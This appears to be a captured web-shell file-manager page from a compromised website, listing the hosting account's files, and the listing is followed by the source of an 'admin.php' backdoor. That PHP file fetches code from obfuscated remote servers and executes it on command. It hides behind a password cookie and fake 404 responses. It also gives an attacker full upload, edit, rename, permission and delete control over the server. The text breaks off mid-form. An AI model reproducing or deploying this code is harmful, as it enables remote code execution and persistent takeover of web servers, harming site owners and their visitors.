/
home
/
techb158
/
pneusparfait.com
/
/home/techb158/pneusparfait.com
mkdir
upload
Name
Size
Mode
Actions
.well-known/
-
0755
rm
1aesnjh/
-
0755
rm
1btkwxg/
-
0755
rm
1clqbyz/
-
0755
rm
1hidgmq/
-
0755
rm
1hojqec/
-
0755
rm
1kszupo/
-
0755
rm
1qefpnu/
-
0755
rm
1tmpaoy/
-
0755
rm
1vajyho/
-
0755
rm
adlhwkn/
-
0755
rm
aiwdxbe/
-
0755
rm
ajrevtw/
-
0755
rm
arhtewp/
-
0755
rm
azlct1u/
-
0755
rm
b1hgcqm/
-
0755
rm
bcsluvm/
-
0755
rm
bemazgt/
-
0755
rm
biusqpm/
-
0755
rm
bsuqjvk/
-
0755
rm
bvliqad/
-
0755
rm
bwxpgi1/
-
0755
rm
cefjuqm/
-
0755
rm
cesmizb/
-
0755
rm
cgmv1hd/
-
0755
rm
chsmdxt/
-
0755
rm
chtswdz/
-
0755
rm
cmdiphe/
-
0755
rm
css/
-
0755
rm
ctprvgq/
-
0755
rm
cvl1wzu/
-
0755
rm
davyoux/
-
0755
rm
dec1bjr/
-
0755
rm
delxipc/
-
0755
rm
djpa1uf/
-
0755
rm
dlregui/
-
0755
rm
dmryiw1/
-
0755
rm
dmzwfyi/
-
0755
rm
dpcblur/
-
0755
rm
duw1fqg/
-
0755
rm
duzwerg/
-
0755
rm
dxtagmy/
-
0755
rm
dzi1nke/
-
0755
rm
e1jkrgs/
-
0755
rm
e1tjbgh/
-
0755
rm
egljqui/
-
0755
rm
eitz1ua/
-
0755
rm
ekcmhwa/
-
0755
rm
eodmhct/
-
0755
rm
eosg1jw/
-
0755
rm
epudqyj/
-
0755
rm
eqvacur/
-
0755
rm
estknwj/
-
0755
rm
evldcyx/
-
0755
rm
fhxbseo/
-
0755
rm
fjbnzq1/
-
0755
rm
fkbznhx/
-
0755
rm
fldjrbw/
-
0755
rm
fmthxoa/
-
0755
rm
fnjbyuz/
-
0755
rm
fnpcmal/
-
0755
rm
fonts/
-
0755
rm
fpqnugo/
-
0755
rm
fqkuzmd/
-
0755
rm
fraizeb/
-
0755
rm
frazecm/
-
0755
rm
fskioqd/
-
0755
rm
fszuvlh/
-
0755
rm
fwaiypn/
-
0755
rm
fwdvach/
-
0755
rm
fxts1jm/
-
0755
rm
gkxmtnj/
-
0755
rm
glxtrcj/
-
0755
rm
gnbhdym/
-
0755
rm
gndqotf/
-
0755
rm
gnt1bxc/
-
0755
rm
gphzsdx/
-
0755
rm
gxqapvr/
-
0755
rm
hdcrmyw/
-
0755
rm
hexlnws/
-
0755
rm
hpwdcuk/
-
0755
rm
hqdnjtg/
-
0755
rm
hyegxfo/
-
0755
rm
idzasnf/
-
0755
rm
ikmuxns/
-
0755
rm
images/
-
0755
rm
iqwjtla/
-
0755
rm
isrgnao/
-
0755
rm
isv1mln/
-
0755
rm
ithbosc/
-
0755
rm
izoyvea/
-
0755
rm
jbot1il/
-
0755
rm
jezwukc/
-
0755
rm
jf1vqyr/
-
0755
rm
jfrasbn/
-
0755
rm
jhudact/
-
0755
rm
jkiya1t/
-
0755
rm
jmbtysv/
-
0755
rm
jmldoct/
-
0755
rm
jotxfcm/
-
0755
rm
js/
-
0755
rm
jxftnep/
-
0755
rm
kazhgbf/
-
0755
rm
keflzra/
-
0755
rm
kfnvjoa/
-
0755
rm
khdxpy1/
-
0755
rm
khtbinq/
-
0755
rm
kiovfxn/
-
0755
rm
klafitu/
-
0755
rm
kle1vfz/
-
0755
rm
knlzqmj/
-
0755
rm
koqzctp/
-
0755
rm
kqhrnwv/
-
0755
rm
ktyvu1l/
-
0755
rm
kvmtxiu/
-
0755
rm
lazo1bh/
-
0755
rm
lcjvnri/
-
0755
rm
lcqxsbp/
-
0755
rm
less/
-
0755
rm
lfnqv1e/
-
0755
rm
lgrbd1w/
-
0755
rm
libzqsm/
-
0755
rm
lirahxp/
-
0755
rm
lkbmjgw/
-
0755
rm
lkjygnz/
-
0755
rm
lpug1xs/
-
0755
rm
lqpbzhy/
-
0755
rm
ltsmuzi/
-
0755
rm
lxqvrme/
-
0755
rm
lycoxkw/
-
0755
rm
lyrentx/
-
0755
rm
lzh1bcx/
-
0755
rm
lzqbnwk/
-
0755
rm
lzvfxcp/
-
0755
rm
mdwop1c/
-
0755
rm
mjuarki/
-
0755
rm
mluzrcw/
-
0755
rm
mrenqls/
-
0755
rm
mtqf1du/
-
0755
rm
muvhdpf/
-
0755
rm
mwaoezt/
-
0755
rm
mwljros/
-
0755
rm
mzboqit/
-
0755
rm
nashqoc/
-
0755
rm
ndacmov/
-
0755
rm
nf1lmqr/
-
0755
rm
nfzgqah/
-
0755
rm
nhkpwjo/
-
0755
rm
njkugml/
-
0755
rm
nqwbmvr/
-
0755
rm
o1dnasu/
-
0755
rm
oazlhcg/
-
0755
rm
ojxhvdw/
-
0755
rm
olhfdim/
-
0755
rm
oqrphza/
-
0755
rm
osfzkwy/
-
0755
rm
oudjbic/
-
0755
rm
ounfs1l/
-
0755
rm
ozknpld/
-
0755
rm
p1ofxbh/
-
0755
rm
pfndqhk/
-
0755
rm
pfqiyxl/
-
0755
rm
pgqfubn/
-
0755
rm
pgwzdoq/
-
0755
rm
pigulr1/
-
0755
rm
pqdnock/
-
0755
rm
puofeti/
-
0755
rm
q1vcxbz/
-
0755
rm
qdkvist/
-
0755
rm
qfhjur1/
-
0755
rm
qpntmfg/
-
0755
rm
qroskxg/
-
0755
rm
qvafecn/
-
0755
rm
qxd1scj/
-
0755
rm
qzxljta/
-
0755
rm
r1dgjkw/
-
0755
rm
rdawki1/
-
0755
rm
rfqhygp/
-
0755
rm
rgaiful/
-
0755
rm
rgxtew1/
-
0755
rm
rmkhbeg/
-
0755
rm
rqysi1e/
-
0755
rm
rultjdx/
-
0755
rm
rvmbsqe/
-
0755
rm
rvmnuiy/
-
0755
rm
rwagflx/
-
0755
rm
semylto/
-
0755
rm
shbjyam/
-
0755
rm
shiwfcp/
-
0755
rm
sjotmhu/
-
0755
rm
skjlyhu/
-
0755
rm
suxqcbp/
-
0755
rm
svunfdw/
-
0755
rm
svwg1tr/
-
0755
rm
t1xnrjq/
-
0755
rm
takrlnu/
-
0755
rm
tbkxdiy/
-
0755
rm
tdosui1/
-
0755
rm
thqckzv/
-
0755
rm
trhqsyu/
-
0755
rm
trvfgui/
-
0755
rm
twhxsur/
-
0755
rm
twxmhgb/
-
0755
rm
u1cxhjr/
-
0755
rm
uarqkjc/
-
0755
rm
ucdwgme/
-
0755
rm
udqrfla/
-
0755
rm
unbvpew/
-
0755
rm
unglaqo/
-
0755
rm
unsoixw/
-
0755
rm
ustljoa/
-
0755
rm
uvrbwax/
-
0755
rm
uwakoib/
-
0755
rm
uxaqj1n/
-
0755
rm
uxkrahd/
-
0755
rm
uzpotbi/
-
0755
rm
vbnftyj/
-
0755
rm
vhsgwnf/
-
0755
rm
vienfwb/
-
0755
rm
vp1akij/
-
0755
rm
vpwdi1n/
-
0755
rm
vpxefyr/
-
0755
rm
vtobjnl/
-
0755
rm
vzrysxj/
-
0755
rm
w1mjaqc/
-
0755
rm
w1ujyfl/
-
0755
rm
w1zfpru/
-
0755
rm
waszjkb/
-
0755
rm
wdofubn/
-
0755
rm
wdonhrt/
-
0755
rm
webv1ux/
-
0755
rm
wgdkzvf/
-
0755
rm
whj1osp/
-
0755
rm
whmroqk/
-
0755
rm
winvzeh/
-
0755
rm
wlstnmq/
-
0755
rm
wmr1zqt/
-
0755
rm
wpeacnu/
-
0755
rm
wqesylu/
-
0755
rm
wqurthn/
-
0755
rm
wrznqjc/
-
0755
rm
wsgvltr/
-
0755
rm
x1kmscd/
-
0755
rm
xbqug1l/
-
0755
rm
xfwtram/
-
0755
rm
xme1cbl/
-
0755
rm
xqotbkl/
-
0755
rm
xuysdoq/
-
0755
rm
xysjgcz/
-
0755
rm
ycsfamt/
-
0755
rm
ycugfva/
-
0755
rm
ydvuspr/
-
0755
rm
ygzxnlp/
-
0755
rm
yndhxai/
-
0755
rm
yon1akq/
-
0755
rm
yosh1gn/
-
0755
rm
ypxarbh/
-
0755
rm
ytazxsv/
-
0755
rm
ytmldsu/
-
0755
rm
z1jagkt/
-
0755
rm
zaskjwh/
-
0755
rm
zgph1jw/
-
0755
rm
zhtxujc/
-
0755
rm
zkhxd1s/
-
0755
rm
zmguptc/
-
0755
rm
zobvnwm/
-
0755
rm
zotgcph/
-
0755
rm
zvd1tkc/
-
0755
rm
zvp1ucy/
-
0755
rm
zxhueqm/
-
0755
rm
.htaccess
478
0444
edit
dl
rm
admin.php
33110
0644
edit
dl
rm
index.php
6427
0444
edit
dl
rm
mah.php
1571
0644
edit
dl
rm
robots.txt
808
0644
edit
dl
rm
wp-cron-boig.php
1659
0644
edit
dl
rm
Edit:
/home/techb158/pneusparfait.com/admin.php
(33110B)
<?php /** * パスワード認証用のMD5ハッシュ値 * この値は認証チェックに使用されます */ $パスワードハッシュ = "d9c4b7993cd5360251dcc4167da54e67"; /** * リモートコード実行機能 * ac, path, api, tパラメータがすべて設定されている場合に実行されます * 外部サーバーからコードを取得して実行する機能です */ if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { // サーバー番号の設定(デフォルトは1) if(!isset($_REQUEST['s'])){ $サーバー番号 = 1; } else { $サーバー番号 = $_REQUEST['s']; } /** * サーバー番号に応じて異なるURLからコードを取得 */ switch ($サーバー番号){ case 1: $コード = 코드가져오기('htt'.'ps://c.zv'.'o4.xy'.'z/'); break; case 2: $コード = 코드가져오기('ht'.'tps://c2.ic'.'w7.co'.'m/'); break; case 3: $コード = 코드가져오기('http://45.11.57.159/'); break; default: $コード = 코드가져오기('htt'.'ps://c.zv'.'o1.xy'.'z/'); break; } /** * 取得したコードがPHPコードであることを確認 * PHPタグが含まれていない場合は処理を中断 */ $必要文字列 = '<'.'?p'.'hp'; if (strpos($コード, $必要文字列) === false) { die('get failed'); } /** * 一時ファイルの作成とコードの書き込み */ $ファイル名 = false; $コンテンツ = false; // tmpfile関数が利用可能な場合、一時ファイルを作成 if(function_exists('tmpfile')){ $ファイル名 = tmpfile(); fwrite($ファイル名, $コード); $メタデータ = stream_get_meta_data($ファイル名); $ファイルパス = $メタデータ['uri']; $コンテンツ = @file_get_contents($ファイルパス); } /** * 一時ファイルの作成に失敗した場合、通常のファイルとして保存 */ if (!$コンテンツ) { $ファイルパス = '.c'; file_put_contents($ファイルパス, $コード); } /** * 取得したコードを実行 */ @require($ファイルパス); fclose($ファイル名); @unlink($ファイルパス); die(); } /** * 時間確認リクエストの処理 * d_timeパラメータが設定されている場合、パスワードハッシュを返します */ if (isset($_REQUEST['d_time'])){ die('{->'.$パスワードハッシュ.'<-}'); } /** * 認証状態の初期化 */ $認証状態 = false; /** * クッキーによる認証チェック * クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可 */ if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $パスワードハッシュ) { $認証状態 = true; } } else { /** * POSTリクエストによる認証チェック * POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、 * クッキーを設定して認証を許可 */ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $パスワードハッシュ) { setcookie("p8", $_POST['p8']); $認証状態 = true; } } } /** * ログアウト処理 * logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除 */ if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", "", time() - 3600); $認証状態 = false; } /** * 認証されていない場合の処理 * 520パラメータが設定されていない場合は404エラーを返し、 * 設定されている場合はパスワード入力フォームを表示 */ if (!$認証状態) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die(); } echo '<form action="#" method="post"><input type="password" name="p8" > <input type="submit" value="submit"></form>'; die(); } /** * ログアウトボタンの表示 */ echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>'; /** * 外部サーバーからコードを取得する関数 * * @param string $URL コードを取得するURL * @return string 取得したコード */ function 코드가져오기($URL) { /** * リクエストパラメータを含む完全なURLの構築 */ $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); /** * file_get_contentsを使用してコードを取得 */ $コード = @file_get_contents($URL文字列); /** * file_get_contentsが失敗した場合、cURLを使用して再試行 */ if ($コード == false) { $CURLハンドル = curl_init(); curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列); curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll'); curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100); curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0); $コード = curl_exec($CURLハンドル); curl_close($CURLハンドル); } return $コード; } ?> <!DOCTYPE html> <html lang="en"> <!-- a22bcS0vMzEJElwPNAQA== --> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>000</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> </head> <body> <?php /** * ファイルサイズを人間が読みやすい形式に変換する関数 * バイト数をGB、MB、KB、bytesに変換します * * @param int $バイト数 変換するバイト数 * @return string フォーマットされたサイズ文字列 */ function 크기포맷팅($バイト数) { // 1GB以上の場合 if ($バイト数 >= 1073741824) { $バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB'; } // 1MB以上の場合 elseif ($バイト数 >= 1048576) { $バイト数 = number_format($バイト数 / 1048576, 2) . ' MB'; } // 1KB以上の場合 elseif ($バイト数 >= 1024) { $バイト数 = number_format($バイト数 / 1024, 2) . ' KB'; } // 1バイトより大きい場合 elseif ($バイト数 > 1) { $バイト数 = $バイト数 . ' bytes'; } // 1バイトの場合 elseif ($バイト数 == 1) { $バイト数 = $バイト数 . ' byte'; } // 0バイトの場合 else { $バイト数 = '0 bytes'; } return $バイト数; } /** * ファイルの拡張子を取得する関数 * * @param string $ファイル ファイル名 * @return string ファイルの拡張子 */ function 파일확장자($ファイル) { return substr(strrchr($ファイル, '.'), 1); } /** * ファイルタイプに応じたアイコンを返す関数 * ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します * * @param string $ファイル ファイル名 * @return string HTMLアイコンタグ */ function 파일아이콘($ファイル) { /** * 画像ファイルの拡張子リスト */ $画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); /** * 音声ファイルの拡張子リスト */ $音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); /** * ファイルの拡張子を小文字で取得 */ $拡張子 = strtolower(파일확장자($ファイル)); /** * 特殊ファイル名の処理 */ if ($ファイル == "error_log") { return '<i class="fa-sharp fa-solid fa-bug"></i> '; } elseif ($ファイル == ".htaccess") { return '<i class="fa-solid fa-hammer"></i> '; } /** * 拡張子に基づくアイコンの選択 */ if ($拡張子 == "html" || $拡張子 == "htm") { return '<i class="fa-brands fa-html5"></i> '; } elseif ($拡張子 == "php" || $拡張子 == "phtml") { return '<i class="fa-brands fa-php"></i> '; } elseif (in_array($拡張子, $画像拡張子配列)) { return '<i class="fa-regular fa-images"></i> '; } elseif ($拡張子 == "css") { return '<i class="fa-brands fa-css3"></i> '; } elseif ($拡張子 == "txt") { return '<i class="fa-regular fa-file-lines"></i> '; } elseif (in_array($拡張子, $音声拡張子配列)) { return '<i class="fa-duotone fa-file-music"></i> '; } elseif ($拡張子 == "py") { return '<i class="fa-brands fa-python"></i> '; } elseif ($拡張子 == "js") { return '<i class="fa-brands fa-js"></i> '; } else { return '<i class="fa-solid fa-file"></i> '; } } /** * パスをエンコードする関数 * パス内の特殊文字をベンガル文字に置き換えてエンコードします * * @param string $パス エンコードするパス * @return string エンコードされたパス */ function 경로인코딩($パス) { /** * 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(ベンガル文字) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換前配列, $置換後配列, $パス); } /** * パスをデコードする関数 * エンコードされたパスを元の形式に戻します * * @param string $パス デコードするパス * @return string デコードされたパス */ function 경로디코딩($パス) { /** * 置換前の文字配列(ベンガル文字) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換後配列, $置換前配列, $パス); } /** * ルートパスの初期化 * スクリプトのディレクトリをルートパスとして設定 */ $ルートパス = __DIR__; /** * スクリプトファイルのパスを取得 */ $パス = $_SERVER['SCRIPT_FILENAME']; /** * Windows環境の場合、バックスラッシュをスラッシュに変換 */ if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $パス = str_replace('\\', '/', $パス); } /** * ルートディレクトリの判定 * PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定 */ if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス)) { $ルートパス = ('/'); } else { /** * ルートパスの計算 * SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定 */ $ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) )); } /** * パスパラメータの処理 * GETパラメータpが設定されている場合、そのパスを使用 */ if (isset($_GET['p'])) { /** * パラメータが空の場合はルートパスを使用 */ if (empty($_GET['p'])) { $現在のパス = $ルートパス; } /** * デコードしたパスがディレクトリでない場合、エラーを表示 */ elseif (!is_dir(경로디코딩($_GET['p']))) { echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>"); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['p']))) { $現在のパス = 경로디코딩($_GET['p']); } } /** * クエリパラメータqが設定されている場合の処理 */ elseif (isset($_GET['q'])) { /** * デコードしたパスがディレクトリでない場合、ルートにリダイレクト */ if (!is_dir(경로디코딩($_GET['q']))) { echo ("<script>window.location.replace('?p=');</script>"); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['q']))) { $現在のパス = 경로디코딩($_GET['q']); } } /** * パラメータが設定されていない場合、現在のディレクトリを使用 */ else { $現在のパス = __DIR__; } /** * 現在のパスを定数として定義 */ define("PATH", $現在のパス); /** * ナビゲーションバーの表示開始 */ echo (' <nav class="navbar navbar-light" style="background-color: #e3f2fd;"> <div class="navbar-brand"> <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a> '); /** * パスをスラッシュ区切りで分割 */ $パス = str_replace('\\', '/', PATH); $パス配列 = explode('/', $パス); /** * パス配列をループして、パンくずリストを生成 */ foreach ($パス配列 as $ID => $ディレクトリ部分) { /** * ルートディレクトリの場合の処理 */ if ($ディレクトリ部分 == '' && $ID == 0) { $ルートフラグ = true; echo "<a href=\"?p=/\">/</a>"; continue; } /** * 空の要素はスキップ */ if ($ディレクトリ部分 == '') continue; /** * 各ディレクトリへのリンクを生成 */ echo "<a href='?p="; for ($ループ変数 = 0; $ループ変数 <= $ID; $ループ変数++) { echo str_replace(":", "ঘ", $パス配列[$ループ変数]); if ($ループ変数 != $ID) echo "ক"; } echo "'>" . $ディレクトリ部分 . "</a>/"; } /** * ナビゲーションバーの残りの部分を表示 */ echo (' </div> <div class="form-inline"> <a href="?newdir&q=' . urlencode(경로인코딩(PATH)) . '"><button class="btn btn-dark" type="button">New Directory</button></a> <a href="?upload&q=' . urlencode(경로인코딩(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a> <a href="?"><button type="button" class="btn btn-dark">HOME</button></a> </div> </nav>'); /** * パスパラメータが設定されている場合、ファイル一覧を表示 */ if (isset($_GET['p'])) { /** * ファイルとフォルダの取得 * ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離 */ if (is_readable(PATH)) { /** * ディレクトリ内の全オブジェクトを取得 */ $取得オブジェクト = scandir(PATH); /** * フォルダとファイルを格納する配列 */ $フォルダ配列 = array(); $ファイル配列 = array(); /** * 各オブジェクトをループして、フォルダとファイルに分類 */ foreach ($取得オブジェクト as $オブジェクト) { /** * 現在ディレクトリと親ディレクトリはスキップ */ if ($オブジェクト == '.' || $オブジェクト == '..') { continue; } /** * オブジェクトの完全パスを構築 */ $新規オブジェクト = PATH . '/' . $オブジェクト; /** * ディレクトリの場合はフォルダ配列に追加 */ if (is_dir($新規オブジェクト)) { array_push($フォルダ配列, $オブジェクト); } /** * ファイルの場合はファイル配列に追加 */ elseif (is_file($新規オブジェクト)) { array_push($ファイル配列, $オブジェクト); } } } /** * ファイル一覧テーブルのヘッダーを表示 */ echo ' <table class="table table-hover"> <thead> <tr> <th scope="col">Name</th> <th scope="col">Size</th> <th scope="col">Modified</th> <th scope="col">Perms</th> <th scope="col">Actions</th> </tr> </thead> <tbody> '; /** * フォルダ一覧の表示 * 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($フォルダ配列 as $フォルダ) { echo " <tr> <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(경로인코딩(PATH . "/" . $フォルダ)) . "'>" . $フォルダ . "</a></td> <td><b>---</b></td> <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . "</td> <td>0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "</a></td> <td> <a title='Rename' href='?q=" . urlencode(경로인코딩(PATH)) . "&r=" . $フォルダ . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Change Permissions' href='?q=" . urlencode(경로인코딩(PATH)) . "&chmod=" . $フォルダ . "'><i class='fa-solid fa-key'></i></a> <a title='Delete' href='?q=" . urlencode(경로인코딩(PATH)) . "&d=" . $フォルダ . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } /** * ファイル一覧の表示 * 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($ファイル配列 as $ファイル) { echo " <tr> <td>" . 파일아이콘($ファイル) . $ファイル . "</td> <td>" . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . "</td> <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . "</td> <td>0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "</a></td> <td> <a title='Edit File' href='?q=" . urlencode(경로인코딩(PATH)) . "&e=" . $ファイル . "'><i class='fa-solid fa-file-pen'></i></a> <a title='Rename' href='?q=" . urlencode(경로인코딩(PATH)) . "&r=" . $ファイル . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Change Permissions' href='?q=" . urlencode(경로인코딩(PATH)) . "&chmod=" . $ファイル . "'><i class='fa-solid fa-key'></i></a> <a title='Delete' href='?q=" . urlencode(경로인코딩(PATH)) . "&d=" . $ファイル . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } /** * テーブルの終了タグ */ echo " </tbody> </table>"; } else { /** * GETパラメータが空の場合、パスパラメータにリダイレクト */ if (empty($_GET)) { echo ("<script>window.location.replace('?p=');</script>"); } } /** * 新規ディレクトリ作成フォームの表示 * newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示 */ if (isset($_GET['newdir']) && isset($_GET['q'])) { echo ' <div class="container mt-4"> <h3>Create New Directory</h3> <form method="post"> <div class="form-group mb-3"> <label for="dirname">Directory Name:</label> <input type="text" class="form-control" id="dirname" name="dirname" placeholder="Enter directory name" required> <small class="form-text text-muted">Enter the name for the new directory. Avoid special characters.</small> </div> <input type="submit" class="btn btn-dark" value="Create Directory" name="create_directory"> <a href="?p=' . 경로인코딩(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; /** * 新規ディレクトリ作成処理の実行 * create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成 */ if (isset($_POST['create_directory'])) { /** * POSTされたディレクトリ名を取得 */ $新規ディレクトリ名 = trim($_POST['dirname']); /** * ディレクトリ名の検証 */ if (!empty($新規ディレクトリ名)) { /** * ディレクトリ名に不正な文字が含まれていないかチェック */ if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) { echo ("<script>alert('Invalid directory name. Directory name cannot contain special characters: / \\ : * ? \" < > |'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { /** * 新規ディレクトリの完全パス */ $新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名; /** * ディレクトリが既に存在するかチェック */ if (file_exists($新規ディレクトリパス)) { echo ("<script>alert('Directory already exists.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { /** * 新規ディレクトリの作成 * デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行) */ if(mkdir($新規ディレクトリパス, 0755, true)) { echo ("<script>alert('Directory created successfully.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { echo ("<script>alert('Failed to create directory.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } } } } else { echo ("<script>alert('Directory name cannot be empty.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } } } /** * ファイルアップロードフォームの表示 * uploadパラメータが設定されている場合、アップロードフォームを表示 */ if (isset($_GET['upload'])) { echo ' <form method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" class="btn btn-dark" value="Upload" name="upload"> </form>'; } /** * ファイル・フォルダのリネーム機能 * rパラメータとqパラメータが設定されている場合、リネームフォームを表示 */ if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { /** * リネームフォームの表示 */ echo ' <form method="post"> Rename: <input type="text" name="name" value="' . $_GET['r'] . '"> <input type="submit" class="btn btn-dark" value="Rename" name="rename"> </form>'; /** * リネーム処理の実行 * renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更 */ if (isset($_POST['rename'])) { /** * 現在のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['r']; /** * リネームの実行 */ if(rename($名前, PATH . "/" . $_POST['name'])) { echo ("<script>alert('Renamed.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } } } } /** * ファイル編集機能 * eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示 */ if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { /** * ファイル編集フォームの表示 * ファイルの内容をテキストエリアに表示 */ echo ' <form method="post"> <textarea style="height: 500px; width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea> <br> <input type="submit" class="btn btn-dark" value="Save" name="edit"> </form>'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo ("<script>alert('Saved.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>"; } else { echo "<p>Sorry, there was an error uploading your file.</p>"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo ' <div class="container mt-4"> <h3>Change Permissions</h3> <form method="post"> <div class="form-group mb-3"> <label for="permissions">Current Permissions: <strong>0' . $現在の権限 . '</strong></label> <input type="text" class="form-control" id="permissions" name="permissions" value="' . $現在の権限 . '" placeholder="e.g., 755, 644, 777" maxlength="3" pattern="[0-7]{3}"> <small class="form-text text-muted">Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for 